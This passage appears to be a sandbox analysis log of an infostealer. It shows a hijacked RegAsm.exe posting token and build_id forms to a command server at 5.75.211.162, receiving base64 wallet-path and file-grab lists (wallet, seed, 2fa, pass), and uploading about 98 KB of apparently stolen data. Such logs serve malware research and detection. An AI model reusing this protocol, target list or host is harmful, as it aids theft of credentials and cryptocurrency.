2024-09-25 18:49:45 UTC	16384	IN	Data Raw: 24 18 89 d8 25 ff ff ff 7f 89 44 24 1c 85 f6 7e 6f 8b 7d 0c 89 54 24 04 8b 0d 30 e4 1d 10 8b 45 08 8b 40 08 89 04 24 ff 15 00 40 1e 10 8d 44 24 10 50 8d 44 24 10 50 56 57 ff 74 24 10 ff d1 85 c0 0f 84 92 00 00 00 8b 44 24 0c 85 c0 8b 54 24 04 74 42 29 c6 72 3e 01 c2 83 d3 00 89 54 24 18 89 d9 81 e1 ff ff ff 7f 89 4c 24 1c 01 c7 85 f6 7f a2 8b 44 24 24 85 c0 0f 85 92 00 00 00 31 ff 8b 4c 24 28 31 e9 e8 9d 64 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 8b 0d 8c e2 1d 10 ff 15 00 40 1e 10 ff d1 89 c2 8b 45 08 89 50 14 83 fa 70 74 05 83 fa 27 75 3f bf 0d 00 00 00 b9 0d 00 00 00 68 ee b2 00 00 8b 45 08 ff 70 1c 68 65 8a 1c 10 e8 c4 1e 14 00 83 c4 0c eb a7 8d 4c 24 24 8d 54 24 08 e8 12 20 14 00 85 c0 0f 85 2a ff ff ff 8b 54 24 08 eb b1 bf 0a 03 00 00 b9 0a 03 00 00 68 Data Ascii: $%D$~o}T$0E@$@D$PD$PVWt$D$T$tB)r>T$L$D$$1L$(1de^_[]@EPpt'u?hEpheL$$T$ *T$h
2024-09-25 18:49:45 UTC	16384	IN	Data Raw: 46 64 8b 0c 38 e8 8e f3 ff ff 43 83 c7 30 3b 5e 68 7c ec 8b 44 24 0c 89 46 68 83 7c 24 04 01 75 72 8b 56 64 8d 1c 40 c1 e3 04 83 7c 1a 1c 00 74 4b 8b 4e 48 8b 01 85 c0 74 42 3d 58 00 1a 10 75 34 8b 86 a8 00 00 00 8b be ac 00 00 00 83 c0 04 83 d7 00 89 74 24 04 89 d6 8b 54 1a 18 0f af fa f7 e2 01 fa 52 50 51 e8 8c 45 12 00 89 f2 8b 74 24 10 83 c4 0c 8b 44 1a 18 89 46 38 31 ff 8b 4c 24 30 31 e9 e8 9f 24 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 89 74 24 04 8b 86 e8 00 00 00 89 44 24 08 85 c0 0f 84 88 01 00 00 83 7c 24 0c 00 0f 84 ac 00 00 00 8b 44 24 04 8b 70 64 85 f6 0f 84 9d 00 00 00 8b 44 24 0c 48 8d 3c 40 c1 e7 04 8b 44 3e 14 89 44 24 0c b9 00 02 00 00 31 d2 e8 56 3e ff ff 89 44 24 18 85 c0 0f 84 ce 02 00 00 8d 04 3e 89 44 24 14 8d 04 3e 83 c0 14 89 44 24 08 Data Ascii: Fd8C0;^h\|D$Fh\|$urVd@\|tKNHtB=Xu4t$TRPQEt$DF81L$01$e^_[]t$D$\|$D$pdD$H<@D>D$1V>D$>D$>D$
2024-09-25 18:49:45 UTC	16384	IN	Data Raw: e9 e7 00 00 00 8b 99 4c 01 00 00 85 db 0f 85 82 00 00 00 8b 99 48 01 00 00 85 db 75 6b 8b 99 44 01 00 00 85 db 75 7b ff 81 40 01 00 00 8a 5d f3 88 d8 50 e8 d0 ca 11 00 83 c4 04 89 c3 85 c0 0f 84 a7 00 00 00 57 ff 75 e4 53 e8 0f 1c 18 00 83 c4 0c c6 04 3b 00 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c 89 18 0f b6 0b 80 b9 7a f8 19 10 00 78 4a 8b 4d e8 80 b9 d0 00 00 00 02 0f 83 83 00 00 00 83 c4 10 5e 5f 5b 5d c3 8b 03 89 81 48 01 00 00 e9 50 ff ff ff 8b 03 89 81 4c 01 00 00 e9 43 ff ff ff 8b 03 89 81 44 01 00 00 e9 36 ff ff ff ff 81 3c 01 00 00 e9 73 ff ff ff 80 f9 5b 0f b6 c9 ba 5d 00 00 00 0f 45 d1 89 55 ec 31 f6 46 89 df 8a 0c 33 3a 4d ec 74 06 88 0f 46 47 eb f2 8b 4d ec 38 4c 33 01 74 2d c6 07 00 eb 84 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c c7 00 00 00 00 00 e9 Data Ascii: LHukDu{@]PWuS;MzxJM^_[]HPLCD6<s[]EU1F3:MtFGM8L3t-M
2024-09-25 18:49:45 UTC	16384	IN	Data Raw: 89 59 18 e8 60 50 fe ff 31 c0 39 46 24 0f 84 b8 f6 ff ff 8b 57 10 85 d2 74 09 8b 4c 24 20 e8 75 c2 ff ff 8b 7c 24 0c c7 47 10 00 00 00 00 e9 98 f6 ff ff 8b 06 89 81 44 01 00 00 e9 e3 f9 ff ff ff 81 3c 01 00 00 e9 80 fc ff ff 8b 44 24 14 80 b8 d0 00 00 00 00 0f 85 f3 fb ff ff 8b 44 24 20 8b 40 10 8b 4c 38 0c 83 79 48 00 0f 85 de fb ff ff ff 34 38 68 b4 e0 1c 10 ff 74 24 1c e8 06 09 00 00 83 c4 0c e9 c5 fb ff ff 8b 4c 24 1c e9 ae fd ff ff 8a 80 08 f7 19 10 3a 83 08 f7 19 10 0f 84 02 fa ff ff e9 c9 f9 ff ff 8b 44 24 20 80 b8 b1 00 00 00 00 0f 84 47 04 00 00 68 48 01 1d 10 ff 74 24 18 e8 5f 2a 01 00 83 c4 08 e9 33 f7 ff ff 8b 44 24 0c 80 48 1e 01 66 83 78 22 00 0f 8e a5 f5 ff ff 31 c9 b8 0e 00 00 00 8b 54 24 0c 8b 52 04 8b 74 02 f6 89 f7 c1 ef 04 83 e7 0f 83 Data Ascii: Y`P19F$WtL$ u\|$GD<D$D$ @L8yH48ht$L$:D$ GhHt$_*3D$Hfx"1T$Rt
2024-09-25 18:49:45 UTC	16384	IN	Data Raw: 00 00 00 85 c0 0f 85 34 f9 ff ff e9 a7 e8 ff ff c7 44 24 24 00 00 00 00 e9 0b f1 ff ff 8b 44 24 0c 8b 40 10 8b 40 1c 8b 4c 24 08 3b 41 3c 0f 84 95 ea ff ff 8b 7c 24 08 ff 37 68 27 f8 1c 10 ff 74 24 0c e8 e0 ea 00 00 83 c4 0c c7 44 24 24 00 00 00 00 e9 a2 f0 ff ff 68 48 e4 1b 10 8b 7c 24 08 57 e8 c1 ea 00 00 83 c4 08 be 0b 00 00 00 68 40 7e 1c 10 68 14 ce 01 00 68 40 bb 1b 10 68 78 fc 1b 10 56 e8 8f 4f 01 00 83 c4 14 89 77 0c c7 44 24 1c 00 00 00 00 e9 83 f8 ff ff 66 ba 1e 00 31 c0 85 c9 0f 85 54 f1 ff ff 31 d2 e9 5b f1 ff ff 31 ff 66 ba 28 00 be ff 0f 00 00 89 cb 31 c0 83 c2 28 89 f9 0f a4 d9 1c c1 e8 04 39 de bb 00 00 00 00 19 fb 89 cb 89 c7 0f 83 f2 f0 ff ff eb df a9 fd ff ff ff 74 65 31 f6 46 b8 ec bb 1b 10 e9 c1 fd ff ff 31 c0 e9 85 f2 ff ff c7 44 24 Data Ascii: 4D$$D$@@L$;A<\|$7h't$D$$hH\|$Wh@~hh@hxVOwD$f1T1[1f(1(9te1F1D$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49730	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:49:48 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFBGCGIJKJJKFIDBFCG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:49:48 UTC	1145	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 34 32 66 31 34 63 33 62 63 65 63 34 31 63 64 33 36 64 37 65 34 64 66 34 38 63 35 64 31 37 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 62 66 35 65 34 33 31 38 36 39 36 34 33 61 32 61 63 33 39 37 64 32 64 63 30 64 36 38 37 66 62 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 0d 0a 43 6f 6e 74 Data Ascii: ------CBFBGCGIJKJJKFIDBFCGContent-Disposition: form-data; name="token"d442f14c3bcec41cd36d7e4df48c5d17------CBFBGCGIJKJJKFIDBFCGContent-Disposition: form-data; name="build_id"9bf5e431869643a2ac397d2dc0d687fb------CBFBGCGIJKJJKFIDBFCGCont
2024-09-25 18:49:49 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:49:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 18:49:49 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49731	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:49:49 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJEGDAKEHJECAKEGDHJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:49:49 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 45 47 44 41 4b 45 48 4a 45 43 41 4b 45 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 34 32 66 31 34 63 33 62 63 65 63 34 31 63 64 33 36 64 37 65 34 64 66 34 38 63 35 64 31 37 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 47 44 41 4b 45 48 4a 45 43 41 4b 45 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 62 66 35 65 34 33 31 38 36 39 36 34 33 61 32 61 63 33 39 37 64 32 64 63 30 64 36 38 37 66 62 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 47 44 41 4b 45 48 4a 45 43 41 4b 45 47 44 48 4a 0d 0a 43 6f 6e 74 Data Ascii: ------GIJEGDAKEHJECAKEGDHJContent-Disposition: form-data; name="token"d442f14c3bcec41cd36d7e4df48c5d17------GIJEGDAKEHJECAKEGDHJContent-Disposition: form-data; name="build_id"9bf5e431869643a2ac397d2dc0d687fb------GIJEGDAKEHJECAKEGDHJCont
2024-09-25 18:49:50 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:49:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 18:49:50 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49732	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:49:51 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFBGCGIJKJJKFIDBFCG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:49:51 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 34 32 66 31 34 63 33 62 63 65 63 34 31 63 64 33 36 64 37 65 34 64 66 34 38 63 35 64 31 37 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 62 66 35 65 34 33 31 38 36 39 36 34 33 61 32 61 63 33 39 37 64 32 64 63 30 64 36 38 37 66 62 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 0d 0a 43 6f 6e 74 Data Ascii: ------CBFBGCGIJKJJKFIDBFCGContent-Disposition: form-data; name="token"d442f14c3bcec41cd36d7e4df48c5d17------CBFBGCGIJKJJKFIDBFCGContent-Disposition: form-data; name="build_id"9bf5e431869643a2ac397d2dc0d687fb------CBFBGCGIJKJJKFIDBFCGCont
2024-09-25 18:49:52 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:49:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 18:49:52 UTC	1524	IN	Data Raw: 35 65 38 0d 0a 52 6d 78 68 63 32 68 38 4a 55 52 53 53 56 5a 46 58 31 4a 46 54 55 39 57 51 55 4a 4d 52 53 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 Data Ascii: 5e8Rmxhc2h8JURSSVZFX1JFTU9WQUJMRSVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49733	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:49:53 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJJDGHJKKJEBFHJDBGH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 461 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:49:53 UTC	461	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 34 32 66 31 34 63 33 62 63 65 63 34 31 63 64 33 36 64 37 65 34 64 66 34 38 63 35 64 31 37 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 62 66 35 65 34 33 31 38 36 39 36 34 33 61 32 61 63 33 39 37 64 32 64 63 30 64 36 38 37 66 62 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 Data Ascii: ------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="token"d442f14c3bcec41cd36d7e4df48c5d17------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="build_id"9bf5e431869643a2ac397d2dc0d687fb------IIJJDGHJKKJEBFHJDBGHCont
2024-09-25 18:49:54 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:49:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 18:49:54 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49734	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:49:55 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBFIIEBGCAKKEBFBAAF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 98093 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:49:55 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 34 32 66 31 34 63 33 62 63 65 63 34 31 63 64 33 36 64 37 65 34 64 66 34 38 63 35 64 31 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 62 66 35 65 34 33 31 38 36 39 36 34 33 61 32 61 63 33 39 37 64 32 64 63 30 64 36 38 37 66 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 Data Ascii: ------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="token"d442f14c3bcec41cd36d7e4df48c5d17------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="build_id"9bf5e431869643a2ac397d2dc0d687fb------JDBFIIEBGCAKKEBFBAAFCont
2024-09-25 18:49:55 UTC	16355	OUT	Data Raw: 53 55 44 45 6f 70 61 53 67 59 55 6c 4c 53 47 67 41 70 4b 57 69 6d 41 6c 49 61 57 69 67 61 45 6f 4e 46 47 4b 42 69 55 55 74 4a 51 41 55 6c 4c 53 55 78 69 55 68 70 31 4a 51 4d 53 69 6c 70 4b 42 69 55 55 74 49 52 51 41 6c 42 6f 6f 6f 30 47 4a 52 52 52 51 4d 53 6b 70 31 4a 69 69 34 43 55 6c 4f 78 54 54 51 4d 4b 53 6c 6f 6f 47 4e 4e 46 4c 53 55 44 44 74 53 55 75 4b 54 46 41 78 4b 53 6e 55 6d 4b 51 43 55 6c 4c 31 70 4b 42 69 64 36 54 74 54 71 51 69 67 6f 51 30 6c 4f 4e 49 52 51 4d 62 30 4e 46 4b 61 54 72 51 41 6e 57 6b 49 70 32 4d 55 30 69 67 6f 4b 51 38 69 6c 78 53 66 51 59 6f 41 4b 53 6c 78 7a 6d 69 67 59 32 69 6c 70 4f 2f 39 61 42 69 48 6b 55 48 6b 55 74 46 41 78 75 66 78 46 4a 30 70 78 37 30 33 48 46 41 77 2f 43 6a 72 2f 77 44 58 70 65 63 65 74 49 65 66 61 Data Ascii: SUDEopaSgYUlLSGgApKWimAlIaWigaEoNFGKBiUUtJQAUlLSUxiUhp1JQMSilpKBiUUtIRQAlBooo0GJRRRQMSkp1Jii4CUlOxTTQMKSlooGNNFLSUDDtSUuKTFAxKSnUmKQCUlL1pKBid6TtTqQigoQ0lONIRQMb0NFKaTrQAnWkIp2MU0igoKQ8ilxSfQYoAKSlxzmigY2ilpO/9aBiHkUHkUtFAxufxFJ0px703HFAw/Cjr/wDXpecetIefa
2024-09-25 18:49:55 UTC	16355	OUT	Data Raw: 2f 4f 70 7a 44 6b 2f 4b 77 50 74 30 71 4e 6b 5a 66 76 4c 54 75 69 6c 4a 44 4d 55 6d 4b 64 67 63 38 30 47 6d 55 4d 49 2b 61 6a 39 61 64 6a 69 67 6a 69 6e 59 59 77 67 59 70 4d 65 2f 77 43 4e 50 78 78 2b 46 47 4b 4c 49 64 79 50 47 44 30 70 43 4d 31 4a 69 6b 32 35 2f 77 44 31 30 57 48 63 6a 49 7a 54 63 59 46 53 59 2f 4f 67 6a 32 37 30 72 44 75 51 6b 55 33 46 54 45 59 4e 4d 49 70 57 4b 54 47 59 77 61 51 6a 30 70 35 7a 6d 6b 49 4e 4b 78 56 78 6e 53 6a 42 48 74 54 68 2f 6e 4e 47 44 2f 38 41 58 70 32 48 63 62 6a 36 55 59 35 2f 6e 54 73 65 74 49 52 78 52 59 4c 6a 65 67 6f 77 44 54 73 44 6d 6b 50 46 4f 77 37 6a 63 55 6c 50 4e 4e 78 52 59 59 30 69 6a 38 36 64 6a 2f 38 41 58 54 54 31 36 30 72 44 47 30 55 74 46 4b 77 30 4a 6a 4e 4e 2b 6c 4f 49 70 4f 4f 33 65 70 47 4e Data Ascii: /OpzDk/KwPt0qNkZfvLTuilJDMUmKdgc80GmUMI+aj9adjigjinYYwgYpMe/wCNPxx+FGKLIdyPGD0pCM1Jik25/wD10WHcjIzTcYFSY/Ogj270rDuQkU3FTEYNMIpWKTGYwaQj0p5zmkINKxVxnSjBHtTh/nNGD/8AXp2Hcbj6UY5/nTsetIRxRYLjegowDTsDmkPFOw7jcUlPNNxRYY0ij86dj/8AXTT160rDG0UtFKw0JjNN+lOIpOO3epGN
2024-09-25 18:49:55 UTC	16355	OUT	Data Raw: 6f 47 46 46 46 46 4d 41 70 4b 57 6b 6f 41 4b 4b 54 4e 46 4d 59 55 55 55 55 44 45 6f 6f 6f 7a 52 59 41 70 4b 4d 30 55 41 46 46 46 46 4d 59 5a 6f 7a 53 55 55 77 43 69 69 6b 4e 49 59 6f 2b 38 4b 33 37 72 2f 41 49 2b 57 2b 67 2f 6b 4b 35 38 48 35 68 57 2f 63 2f 38 41 48 77 33 30 58 2b 51 72 47 70 38 53 42 66 45 69 4b 6a 69 69 6b 7a 53 4e 4f 67 74 46 4a 52 54 41 55 30 6c 46 4a 51 41 55 74 4a 52 51 4d 4b 4f 31 46 42 36 55 41 4a 52 53 55 74 41 77 70 44 53 30 68 37 30 41 4e 6e 2f 34 38 4c 72 2f 41 48 42 2f 36 45 4b 6f 36 62 2f 72 33 2f 33 66 36 31 65 6e 2f 77 43 50 4b 36 2f 33 42 2f 4d 56 52 30 33 2f 41 46 37 2f 41 4f 35 2f 57 6e 48 34 57 49 30 61 4b 51 47 6c 6f 47 47 61 41 61 4b 4b 41 45 70 65 61 4b 4b 41 44 4f 4b 58 4e 4e 36 30 5a 6f 43 77 37 4e 4c 54 61 4d 30 Data Ascii: oGFFFFMApKWkoAKKTNFMYUUUUDEooozRYApKM0UAFFFFMYZozSUUwCiikNIYo+8K37r/AI+W+g/kK58H5hW/c/8AHw30X+QrGp8SBfEiKjiikzSNOgtFJRTAU0lFJQAUtJRQMKO1FB6UAJRSUtAwpDS0h70ANn/48Lr/AHB/6EKo6b/r3/3f61en/wCPK6/3B/MVR03/AF7/AO5/WnH4WI0aKQGloGGaAaKKAEpeaKKADOKXNN60ZoCw7NLTaM0
2024-09-25 18:49:55 UTC	16355	OUT	Data Raw: 55 55 44 45 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 42 44 53 30 55 59 70 6a 45 70 66 78 6f 6f 78 51 41 6c 46 4c 69 6b 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 42 4b 4b 58 46 4a 69 67 41 6f 70 61 54 46 41 43 55 75 4b 4d 55 55 41 46 48 65 69 69 67 59 47 6b 70 61 53 67 41 6f 6f 6f 6f 41 53 69 69 6a 46 4d 41 6f 6f 78 52 51 4d 53 69 6e 59 39 71 51 69 67 42 4b 4b 58 6a 31 46 47 56 46 46 30 41 6c 46 47 34 65 6c 4a 76 39 68 52 64 42 5a 68 69 6c 77 61 62 76 4e 4a 75 4a 37 6d 69 34 37 44 38 55 48 41 37 69 6f 38 2b 39 4a 52 63 64 69 54 4b 2b 74 4a 75 57 6d 55 6c 41 37 45 6d 2f 32 70 50 4d 50 61 6d 55 55 42 59 63 58 4a 37 30 6d 66 65 6d 30 55 44 73 48 46 48 34 30 55 6c 41 78 61 4d 30 6c 46 41 77 7a 53 55 55 55 41 46 4a 53 30 33 4e 41 78 61 51 30 74 4a 51 46 67 6f 6f Data Ascii: UUDEooooAKKKKACiiigBDS0UYpjEpfxooxQAlFLikoAKKKKACiiigBKKXFJigAopaTFACUuKMUUAFHeiigYGkpaSgAooooASiijFMAooxRQMSinY9qQigBKKXj1FGVFF0AlFG4elJv9hRdBZhilwabvNJuJ7mi47D8UHA7io8+9JRcdiTK+tJuWmUlA7Em/2pPMPamUUBYcXJ70mfem0UDsHFH40UlAxaM0lFAwzSUUUAFJS03NAxaQ0tJQFgoo
